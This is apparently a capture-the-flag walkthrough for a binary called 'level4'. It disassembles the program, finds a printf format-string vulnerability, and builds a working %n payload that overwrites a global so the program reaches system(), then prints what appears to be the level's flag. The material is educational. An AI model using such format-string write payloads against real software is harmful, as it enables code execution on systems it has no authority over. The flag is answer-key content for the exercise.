To dissassemble the executable we can use objdump.
EXECUTABLE=./level4
objdump -M intel -d "$EXECUTABLE"
The main function looks like this:
080484a7 <main>:
80484a7: 55 push ebp
80484a8: 89 e5 mov ebp,esp
80484aa: 83 e4 f0 and esp,0xfffffff0
80484ad: e8 a5 ff ff ff call 8048457 <n>
80484b2: c9 leave
80484b3: c3 ret080484a7 <main>:
80484a7: 55 push ebp
80484a8: 89 e5 mov ebp,esp
80484aa: 83 e4 f0 and esp,0xfffffff0
80484ad: e8 a5 ff ff ff call 8048457 <n>
80484b2: c9 leave
80484b3: c3 ret
It calls another function n:
08048457 <n>:
8048457: 55 push ebp
8048458: 89 e5 mov ebp,esp
804845a: 81 ec 18 02 00 00 sub esp,0x218
8048460: a1 04 98 04 08 mov eax,ds:0x8049804
8048465: 89 44 24 08 mov DWORD PTR [esp+0x8],eax
8048469: c7 44 24 04 00 02 00 mov DWORD PTR [esp+0x4],0x200
8048470: 00
8048471: 8d 85 f8 fd ff ff lea eax,[ebp-0x208]
8048477: 89 04 24 mov DWORD PTR [esp],eax
804847a: e8 d1 fe ff ff call 8048350 <fgets@plt>
804847f: 8d 85 f8 fd ff ff lea eax,[ebp-0x208]
8048485: 89 04 24 mov DWORD PTR [esp],eax
8048488: e8 b7 ff ff ff call 8048444 <p>
804848d: a1 10 98 04 08 mov eax,ds:0x8049810
8048492: 3d 44 55 02 01 cmp eax,0x1025544
8048497: 75 0c jne 80484a5 <n+0x4e>
8048499: c7 04 24 90 85 04 08 mov DWORD PTR [esp],0x8048590
80484a0: e8 bb fe ff ff call 8048360 <system@plt>
80484a5: c9 leave
80484a6: c3 ret
Which in turn calls a function p, which uses printf to print our input:
nasm
08048444 <p>:
8048444: 55 push ebp
8048445: 89 e5 mov ebp,esp
8048447: 83 ec 18 sub esp,0x18
804844a: 8b 45 08 mov eax,DWORD PTR [ebp+0x8]
804844d: 89 04 24 mov DWORD PTR [esp],eax
8048450: e8 eb fe ff ff call 8048340 <printf@plt>
8048455: c9 leave
8048456: c3 ret
We can see that there is a system call, but to reach it, a specific value needs to be set to 0x1025544.
...
804848d: a1 10 98 04 08 mov eax,ds:0x8049810
8048492: 3d 44 55 02 01 cmp eax,0x1025544
8048497: 75 0c jne 80484a5 <n+0x4e>
...
80484a0: e8 bb fe ff ff call 8048360 <system@plt>
80484a5: c9 leave
80484a6: c3 ret
The stack looks like this before calling p:
Address | Type | Size |
---|---|---|
-0x218 | char *fmt | 4 |
-0x210 | FILE *stdin | 4 |
-0x20c | size_t len | 4 |
-0x208 | char data[200] | 512 |
0x000 | *EBP | 4 |
0x004 | *EIP | 4 |
After calling p, the stack looks like this:
Address | Type | Size |
---|---|---|
-0x018 | char *fmt | 4 |
-0x004 | padding | 20 |
0x000 | *EBP | 4 |
0x004 | *EIP | 4 |
0x008 | char *fmt | 4 |
The p function fetches the format string pointer from the previous stack-frame and passes it to the printf function.
In c, the procedure would look like this:
size_t len = 0x200;
FILE *stdin = *(FILE**)0x8049804;
fgets(fmt, len, stdin);
printf(fmt);
if (*(int*)0x8049810 == 0x1025544)
system(...);
Using the previous technique, we can search for our buffer by printing the stack's data.
./level4 <<< 'AAAA char *fmt = %p; char *p_frame[32] = %p %p %p %p %p %p %p; size = %p; FILE* stdin = %p; char *system_arg = %p; char *buff[0] = %p'
AAAA char *fmt = 0xb7ff26b0; char *p_frame[32] = 0xbffff7a4 0xb7fd0ff4 (nil) (nil) 0xbffff768 0x804848d 0xbffff560; size = 0x200; FILE* stdin = 0xb7fd1ac0; char *system_arg = 0xb7ff37d0; char *buff[0] = 0x41414141
We are able to reach the start of our buffer with 12 32-bit pointer conversions, which is equivalent to an offset of 0x30.
Knowing the offset, we can use printf's shorthand dollar notation to directly access the argument at the 12th position:
./level4 <<< 'AAAA %12$p'
AAAA 0x41414141
If we place our address at the start of our buffer and use the %n modifier, we can overwrite it using an arbitrary value. To generate a string with the right length, we can use the field-width:
./level4 <<< $'\x10\x98\x04\x08%16930112x%12$n'
...
b7ff26b0
0f99ba5e9c446258a69b290407a6c60859e9c2d25b26575cafc9ae6d75e9456a